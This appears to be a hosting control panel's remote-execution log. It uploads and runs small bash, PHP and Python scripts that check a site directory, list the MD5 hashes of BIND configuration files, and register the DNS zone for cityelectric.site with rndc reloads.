MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= ead22db0f92a33841cc438de003f20f0
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 81f36a028010960c977294c18c368717
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 8aba258068c8c60a7ade3952a285f57d
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2025-08-26 15:00:55: Establishing a remote connection
2025-08-26 15:00:55: Establishing a remote connection
2025-08-26 15:00:55: 

PUT: /tmp/pkp963336

#!/bin/bash
if [ -d "/var/www/cityelectric_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-08-26 15:00:55: 

chmod 755 /tmp/pkp963336; /tmp/pkp963336; rm /tmp/pkp963336



0


2025-08-26 15:00:58: Establishing a connection
2025-08-26 15:00:58: Establishing a connection
2025-08-26 15:00:58: 

PUT: /tmp/pkp629322

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2025-08-26 15:00:58: 

runuser -l bind -s /bin/bash -c '/tmp/pkp629322; rm /tmp/pkp629322'

2025-08-26 15:00:58: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 3c9f578a7815e351234f218aeab7cca5
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= ead22db0f92a33841cc438de003f20f0
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 81f36a028010960c977294c18c368717
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 8aba258068c8c60a7ade3952a285f57d
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2025-08-26 15:00:58: 

PUT: /tmp/pkp281453

#!/usr/bin/python3
import os, grp, subprocess, time
from pwd import getpwnam

#target cache files
HASH = '73c7599fdd5ae53f1a22acdec3f96f94'
ZONE_NAME = 'cityelectric.site'
TARGET_FILES = '/var/cache/bind'
LOCAL_FILE = '/etc/bind/named.conf.local'

uid = getpwnam('bind').pw_uid
gid = grp.getgrnam('bind')[2]
try:
	os.chown(TARGET_FILES + '/' + HASH + '.conf', uid, gid)
	os.chown(TARGET_FILES + '/' + HASH + '.txt', uid, gid)
except Exception as ex:
	pass

PAYLOAD = 'include "' + HASH + '.conf"; # ' + ZONE_NAME
#text to insert into local
hash_present = False
with open(LOCAL_FILE) as fp:  
	line = fp.readline()
	while line:
		if HASH in line:
			hash_present = True
			break
		line = fp.readline()

fp.close()

if not hash_present:
	fp = open(LOCAL_FILE, 'a')
	fp.write(PAYLOAD + "\n")
	fp.close()
	# call = old python, 'run' python 3.5+
	subprocess.call(['rndc', 'reconfig'])
else:
	subprocess.call(['rndc', 'freeze', ZONE_NAME ])
	subprocess.call(['rndc', 'reload', ZONE_NAME ])
	subprocess.call(['rndc', 'thaw', ZONE_NAME ])
	time.sleep(3)


2025-08-26 15:00:58: 

